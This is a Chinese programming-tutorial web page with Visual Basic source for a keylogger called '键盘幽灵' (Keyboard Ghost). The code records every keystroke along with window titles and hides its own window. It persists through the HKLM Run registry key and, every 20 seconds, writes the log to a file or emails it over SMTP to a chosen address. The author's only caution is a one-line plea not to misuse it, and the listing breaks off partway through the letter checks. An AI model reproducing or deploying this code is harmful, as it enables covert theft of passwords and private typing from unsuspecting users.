文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院程序开发VB键盘幽灵VB版
精品推荐
特别推荐
·VB表格控件总览与例程分析
·用VB6.0制作画图板
·VB打造超酷个性化菜单(六)
·MSHFlexGrid 控件的应用
·Visual Basic 控件简介
·利用硬盘序列号计算软件注册码
·计算机等级考试二级VB常用算法:排序
·用diskid.dll和disk32.dll获得硬盘序列号
·VB6中使用Winsock穿越各种代理的实现
·在VFP、VB应用程序中激活鼠标功能
·vb基础(打印问题)
·想用就用,VB基础代码
·运用多媒体WAV文件格式二三例
·VB基础学习:编码规范
·VB实现程序的隐形
·使用.NET Framework从VB6中访问事件日志
·怎样把VC++代码转换成VB代码
·如何用VB程序来播放WAV文件
·VB 实用函数集
·用VB制作RM压缩软件
热点TOP10
·VB+Access设计图书管理系统
·DataGrid 控件的使用
·VB设计有语音报时和报警功能的闹钟
·窗体控件大小随窗体大小变化而变化
·Visual Basic 控件简介
·VB中使用DirectX库的简明教程
·串口通讯及其在VB平台下的实现
·用VB跟我学做记事本(很简单哟)
·VB API函数介绍--绘图函数
·用VB6.0制作画图板
·Visual Basic CommonDialog 控件的使用
·VB中使用EXCEL输出
·编写电话拨号程序时一点小技巧
·用VB.net2008编写数据查询窗体
·VB表格控件总览与例程分析
·用VB6.0设计一个打字练习软件
·用diskid.dll和disk32.dll获得硬盘序列号
·VB编程之路-如何让界面美化
·VB经典:操作.ini文件的通用类源代码
·用VB播放Avi、Wave、midi文件

键盘幽灵VB版

日期:2007年5月1日 作者: 查看:[大字体 中字体 小字体]



  键盘幽灵VB版    blood(原作)
  
关键字     键盘幽灵 Hook UnHook GetAsyncKeyState
  

这个是我写的一个类似键盘幽灵的程序,大家自己看看吧。晚上无聊写的,不要拿来做坏事呀。

mCommon.bas

Attribute VB_Name = "mFuncation"
注释:设置钩子
Public Function Hook(ByVal hWnd As Long)
    注释:监视所有消息
    注释:设置子分类
    lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
End Function

注释:卸载钩子
Public Sub UnHook(ByVal hWnd As Long)
    注释:卸载子分类
    Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)
End Sub

注释:设置CAPS键和NUMLOCK键的状态为开
Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CAPSLOCKON = bOn
End Function

注释:取得一个窗体的标题
Public Function GetCaption(WindowHandle As Long) As String
    Dim strBuffer As String, lngTextLength As Long
    lngTextLength = GetWindowTextLength(WindowHandle)
    strBuffer = String(lngTextLength, 0)
    Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
    GetCaption$ = strBuffer
End Function

Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

mAPI.bas

Attribute VB_Name = "mAPI"
注释:申明API
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long

注释:申明常数
Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE

Const GWL_WNDPROC = -4

frmMain.frm

VERSION 5.00
Object = "#1.2#0"; "COMDLG32.OCX"
Object = "#1.2#0"; "RICHTX32.OCX"
Object = "#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain
   BorderStyle     =   1  注释:Fixed Single
   Caption         =   "键盘幽灵-VB版"
   ClientHeight    =   4305
   ClientLeft      =   45
   ClientTop       =   435
   ClientWidth     =   6750
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   注释:False
   MinButton       =   0   注释:False
   ScaleHeight     =   4305
   ScaleWidth      =   6750
   StartUpPosition =   3  注释:窗口缺省
   Begin VB.CheckBox chkShowForm
      Caption         =   "实现出现运行设置窗体"
      Enabled         =   0   注释:False
      Height          =   255
      Left            =   3000
      TabIndex        =   15
      Top             =   1920
      Width           =   2175
   End
   Begin MSWinsockLib.Winsock Winsock1
      Left            =   720
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Timer Timer2
      Enabled         =   0   注释:False
      Interval        =   20000
      Left            =   5520
      Top             =   3360
   End
   Begin VB.Timer Timer1
      Enabled         =   0   注释:False
      Interval        =   1
      Left            =   5160
      Top             =   3360
   End
   Begin VB.CommandButton cmdExit
      Caption         =   "退出"
      Height          =   375
      Left            =   4800
      TabIndex        =   14
      Top             =   3840
      Width           =   975
   End
   Begin RichTextLib.RichTextBox txtKeyLog
      Height          =   735
      Left            =   4080
      TabIndex        =   13
      Top             =   840
      Visible         =   0   注释:False
      Width           =   2415
      _ExtentX        =   4260
      _ExtentY        =   1296
      _Version        =   393217
      ScrollBars      =   3
      DisableNoScroll =   -1  注释:True
      Appearance      =   0
      TextRTF         =   $Content$quot;frmMain.frx":08CA
   End
   Begin VB.CommandButton cmdStart
      Caption         =   "确定"
      Height          =   375
      Left            =   3480
      TabIndex        =   12
      Top             =   3840
      Width           =   1095
   End
   Begin VB.TextBox txtEmail
      Appearance      =   0  注释:Flat
      Enabled         =   0   注释:False
      Height          =   270
      Left            =   2280
      TabIndex        =   11
      Top             =   3360
      Width           =   2655
   End
   Begin VB.TextBox txtPort
      Alignment       =   2  注释:Center
      Appearance      =   0  注释:Flat
      Enabled         =   0   注释:False
      Height          =   270
      Left            =   5280
      MaxLength       =   5
      TabIndex        =   9
      Text            =   "25"
      Top             =   2940
      Width           =   735
   End
   Begin VB.TextBox txtSmtp
      Appearance      =   0  注释:Flat
      Enabled         =   0   注释:False
      Height          =   270
      Left            =   2280
      TabIndex        =   7
      Text            =   "Localhost"
      Top             =   2940
      Width           =   2655
   End
   Begin VB.CheckBox chkSendMail
      Caption         =   "是否将键盘记录以电子邮件发送到自动的EMAIL中"
      Height          =   375
      Left            =   240
      TabIndex        =   5
      Top             =   2400
      Width           =   4335
   End
   Begin VB.CheckBox chkStartup
      Caption         =   "启动时是否自动运行"
      Height          =   255
      Left            =   240
      TabIndex        =   4
      Top             =   1920
      Width           =   2415
   End
   Begin VB.CommandButton cmdSavePath
      Appearance      =   0  注释:Flat
      Caption         =   "..."
      Enabled         =   0   注释:False
      Height          =   255
      Left            =   3240
      TabIndex        =   3
      Top             =   1440
      Width           =   495
   End
   Begin VB.TextBox txtFilePath
      Appearance      =   0  注释:Flat
      Enabled         =   0   注释:False
      Height          =   270
      Left            =   240
      TabIndex        =   2
      Top             =   1440
      Width           =   2895
   End
   Begin MSComDlg.CommonDialog cdgSaveFile
      Left            =   120
      Top             =   120
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      DialogTitle     =   "保存键盘记录文件"
      Filter          =   "文本文件(*.txt)*.txt"
      InitDir         =   "c:"
   End
   Begin VB.CheckBox chkSaveFile
      Caption         =   "是否将记录存储为文件"
      Height          =   255
      Left            =   240
      TabIndex        =   1
      Top             =   960
      Width           =   2295
   End
   Begin VB.Label lblEmail
      Alignment       =   2  注释:Center
      AutoSize        =   -1  注释:True
      Caption         =   "Email:"
      Enabled         =   0   注释:False
      Height          =   180
      Left            =   1560
      TabIndex        =   10
      Top             =   3420
      Width           =   630
   End
   Begin VB.Label lblPort
      Alignment       =   2  注释:Center
      AutoSize        =   -1  注释:True
      Caption         =   ":"
      Enabled         =   0   注释:False
      Height          =   180
      Left            =   5040
      TabIndex        =   8
      Top             =   3000
      Width           =   180
   End
   Begin VB.Label lblSmtp
      Alignment       =   2  注释:Center
      AutoSize        =   -1  注释:True
      Caption         =   "Smtp服务器:"
      Enabled         =   0   注释:False
      Height          =   180
      Left            =   1080
      TabIndex        =   6
      Top             =   3000
      Width           =   1080
   End
   Begin VB.Label lblAppName
      Alignment       =   2  注释:Center
      AutoSize        =   -1  注释:True
      Caption         =   "运行设定"
      BeginProperty Font
         Name            =   "华文彩云"
         Size            =   26.25
         Charset         =   134
         Weight          =   400
         Underline       =   0   注释:False
         Italic          =   0   注释:False
         Strikethrough   =   0   注释:False
      EndProperty
      Height          =   540
      Left            =   2310
      TabIndex        =   0
      Top             =   240
      Width           =   2115
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
注释:枚举SMTP的各种状态
Private Enum SMTP_State
    MAIL_CONNECT
    MAIL_HELO
    MAIL_FROM
    MAIL_RCPTTO
    MAIL_DATA
    MAIL_DOT
    MAIL_QUIT
End Enum

注释:申明变量
Dim strWindow As String
Dim strErrorFile As String
Dim m_State As SMTP_State

Private Sub chkSaveFile_Click()
    If chkSaveFile.Value = Checked Then
        txtFilePath.Enabled = True
        cmdSavePath.Enabled = True
    Else
        txtFilePath.Enabled = False
        cmdSavePath.Enabled = False
    End If
End Sub

Private Sub chkSendMail_Click()
    If chkSendMail.Value = Checked Then
        lblSmtp.Enabled = True
        txtSmtp.Enabled = True
        lblPort.Enabled = True
        txtPort.Enabled = True
        lblEmail.Enabled = True
        txtEmail.Enabled = True
    Else
        lblSmtp.Enabled = False
        txtSmtp.Enabled = False
        lblPort.Enabled = False
        txtPort.Enabled = False
        lblEmail.Enabled = False
        txtEmail.Enabled = False
    End If
End Sub

Private Sub chkStartup_Click()
    If chkStartup.Value = Checked Then
        chkShowForm.Enabled = True
    Else
        chkShowForm.Enabled = False
    End If
End Sub

Private Sub cmdExit_Click()
    Unload Me
    End
End Sub

Private Sub cmdSavePath_Click()
    cdgSaveFile.ShowSave
    txtFilePath.Text = cdgSaveFile.FileName
End Sub

Private Sub cmdStart_Click()
    Dim objWSHShell As Object
    Set objWSHShell = CreateObject("WScript.Shell")
    If chkSaveFile.Value = Checked Then
        If txtFilePath.Text = "" Then
            MsgBox "键盘日志文件保存目录为空", vbOKOnly, "错误"
            Exit Sub
        End If
        SaveSetting App.EXEName, "Setting", "SaveFile", "True"
        SaveSetting App.EXEName, "Setting", "FilePath", txtFilePath.Text
        Open txtFilePath.Text For Append As #1
            Write #1, vbCrLf
            Write #1, "[日志开始时间: " & Now & "]" 注释:日志开始记录时间
            Write #1, String(50, "-")
        Close #1
    Else
        SaveSetting App.EXEName, "Setting", "SaveFile", "False"
        SaveSetting App.EXEName, "Setting", "FilePath", ""
    End If
    
    If chkSendMail.Value = Checked Then
        If txtEmail.Text = "" Or txtSmtp.Text = "" Or txtPort.Text = "" Then
            MsgBox "请填写完整的邮件信息", vbOKOnly, "错误"
            Exit Sub
        End If
        SaveSetting App.EXEName, "Setting", "SendMail", "True"
        SaveSetting App.EXEName, "Setting", "Smtp", txtSmtp.Text
        SaveSetting App.EXEName, "Setting", "Port", txtPort.Text
        SaveSetting App.EXEName, "Setting", "Email", txtEmail.Text
    Else
        SaveSetting App.EXEName, "Setting", "SendMail", "False"
        SaveSetting App.EXEName, "Setting", "Smtp", ""
        SaveSetting App.EXEName, "Setting", "Port", ""
        SaveSetting App.EXEName, "Setting", "Email", ""
    End If
    If chkStartup.Value = Checked Then
        SaveSetting App.EXEName, "Setting", "StartUp", "True"
        objWSHShell.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunKeyGhost-VB", App.Path & "" & App.EXEName & ".EXE"
        If chkShowForm.Value = Checked Then
            SaveSetting App.EXEName, "Setting", "ShowForm", "True"
        Else
            SaveSetting App.EXEName, "Setting", "ShowForm", "False"
        End If
    Else
        objWSHShell.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunKeyGhost-VB", ""
        SaveSetting App.EXEName, "Setting", "StartUp", "False"
    End If
    Timer1.Enabled = True
    Timer2.Enabled = True
    Me.Visible = False
End Sub

Private Sub Form_Load()
    注释:如果程序以运行,则不再运行本程序
    If App.PrevInstance = True Then
        Unload Me
        End
    End If
    
    Hook Me.hWnd
    
    If GetSetting(App.EXEName, "Setting", "SaveFile") = "True" Then
        chkSaveFile.Value = Checked
        txtFilePath.Enabled = True
        cmdSavePath.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "FilePath") <> "" Then
        txtFilePath.Text = GetSetting(App.EXEName, "Setting", "FilePath")
    End If
    If GetSetting(App.EXEName, "Setting", "SendMail") = "True" Then
        chkSendMail.Value = Checked
        lblSmtp.Enabled = True
        txtSmtp.Enabled = True
        lblPort.Enabled = True
        txtPort.Enabled = True
        lblEmail.Enabled = True
        txtEmail.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "Smtp") <> "" Then
        txtSmtp.Text = GetSetting(App.EXEName, "Setting", "Smtp")
    End If
    If GetSetting(App.EXEName, "Setting", "Port") <> "" Then
        txtPort.Text = GetSetting(App.EXEName, "Setting", "Port")
    End If
    If GetSetting(App.EXEName, "Setting", "Email") <> "" Then
        txtEmail.Text = GetSetting(App.EXEName, "Setting", "Email")
    End If
    If GetSetting(App.EXEName, "Setting", "StartUp") = "True" Then
        chkStartup.Value = Checked
        If GetSetting(App.EXEName, "Setting", "ShowForm") = "True" Then
            chkShowForm.Value = Checked
            Me.Visible = True
        Else
            chkShowForm.Value = Checked
            cmdStart_Click
        End If
    End If
    
    strWindow = GetCaption(GetForegroundWindow)
End Sub

Private Sub Form_Unload(Cancel As Integer)
    UnHook Me.hWnd
End Sub

注释:每隔20秒将键盘记录写入文件或以电子邮件发送出去
Private Sub Timer2_Timer()

If chkSaveFile.Value = Checked Then
    Open txtFilePath.Text For Append As #1
        Write #1, txtKeyLog.Text
    Close #1
    
    注释:清空RichTextBox控件的内容以释放内存
    txtKeyLog.Text = ""
End If

If chkSendMail.Value = Checked Then
    Winsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)
    m_State = MAIL_CONNECT
End If
End Sub

Private Sub txtPort_KeyPress(KeyAscii As Integer)
    Select Case KeyAscii
        Case 48 To 57
        Case vbKeyBack, vbKeyTab
        Case Else
            KeyAscii = 0
    End Select
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    
    Dim strServerResponse   As String
    Dim strResponseCode     As String
    Dim strDataToSend       As String
    Winsock1.GetData strServerResponse
    strResponseCode = Left(strServerResponse, 3)
    If strResponseCode = "250" Or _
       strResponseCode = "220" Or _
       strResponseCode = "354" Then
        Select Case m_State
            Case MAIL_CONNECT
                m_State = MAIL_HELO
                strDataToSend = Trim(txtEmail.Text)
                strDataToSend = Left(strDataToSend, _
                                InStr(1, strDataToSend, "@") - 1)
                Winsock1.SendData "HELO " & strDataToSend & vbCrLf
            Case MAIL_HELO
                m_State = MAIL_FROM
                Winsock1.SendData "MAIL FROM:" & "" & vbCrLf
            Case MAIL_FROM
                m_State = MAIL_RCPTTO
                Winsock1.SendData "RCPT TO:" & Trim(txtEmail.Text) & vbCrLf
            Case MAIL_RCPTTO
                m_State = MAIL_DATA
                Winsock1.SendData "DATA" & vbCrLf
            Case MAIL_DATA
                m_State = MAIL_DOT
                Winsock1.SendData "Subject:" & "键盘幽灵-VB版键盘记录文件" & Now & vbLf & vbCrLf
                Dim varLines    As Variant
                Dim varLine     As Variant
                Dim strMessage  As String
                strMessage = txtKeyLog.Text & vbCrLf & vbCrLf
                Winsock1.SendData "." & vbCrLf
            Case MAIL_DOT
                m_State = MAIL_QUIT
                Winsock1.SendData "QUIT" & vbCrLf
            Case MAIL_QUIT
                Winsock1.Close
        End Select
    Else
        Winsock1.Close
        If Not m_State = MAIL_QUIT Then
            strErrorFile = "errorlog.txt"
            Open App.Path & "" & strErrorFile For Append As #2
                Write #2, "邮件发送错误:" & Number & Description & vbCrLf
            Close #2
        End If
    End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    strErrorFile = "errorlog.txt"
    Open App.Path & "" & strErrorFile For Append As #2
        Write #2, "邮件发送错误:" & Number & Description & vbCrLf
    Close #2
End Sub
Private Sub Timer1_Timer()
注释:如果取得的窗口标题不是前面变量中存储的标题,则重新改变设置变量的值,并且重新设置键盘记录内容
If strWindow <> GetCaption(GetForegroundWindow) Then
    strWindow = GetCaption(GetForegroundWindow)
    txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & "[" & Time & " - 窗口: " & strWindow & "]" & Chr(13)
End If

注释:下面的程序将记录键盘的操作,并保存在RichTextBox控件中

注释:按Ctrl + lngShift + F12则呼叫本程序

Dim lngKeyState As Long
Dim lngShift As Long
lngShift = GetAsyncKeyState(vbKeyShift)

注释:记录大写字母A和小写字母a
lngKeyState = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "A"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "a"
End If

注释:记录大写字母B和小写字母b
lngKeyState = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "B"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "b"
End If

注释:记录大写字母C和小写字母c
lngKeyState = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "C"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "c"
End If

注释:记录大写字母D和小写字母d
lngKeyState = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "D"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "d"
End If

注释:记录大写字母E和小写字母e
lngKeyState = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "E"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "e"
End If

注释:记录大写字母F和小写字母f
lngKeyState = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "F"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "f"
End If

注释:记录大写字母G和小写字母g
lngKeyState = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "G"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "g"
End If

注释:记录大写字母H和小写字母h
lngKeyState = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "H"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "h"
End If

注释:记录大写字母I和小写字母i
lngKeyState = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "I"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "i"
End If

注释:记录大写字母J和小写字母j
lngKeyState = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "J"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "j"
End If

注释:记录大写字母K和小写字母k
lngKeyState = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "K"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "k"
End If

注释:记录大写字母L和小写字母l
lngKeyState = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "L"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "l"
End If

注释:记录大写字母M和小写字母m
lngKeyState = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "M"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "m"
End If

注释:记录大写字母N和小写字母n
lngKeyState = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "N"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "n"
End If

注释:记录大写字母O和小写字母o
lngKeyState = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "O"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "o"
End If

注释:记录大写字母P和小写字母p
lngKeyState = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "P"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "p"
End If

注释:记录大写字母Q和小写字母q
lngKeyState = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Q"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "q"
End If

注释:记录大写字母R和小写字母r
lngKeyState = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "R"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "r"
End If

注释:记录大写字母S和小写字母s
lngKeyState = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "S"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "s"
End If

注释:记录大写字母T和小写字母t
lngKeyState = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "T"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "t"
End If

注释:记录大写字母U和小写字母u
lngKeyState = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "U"
End If
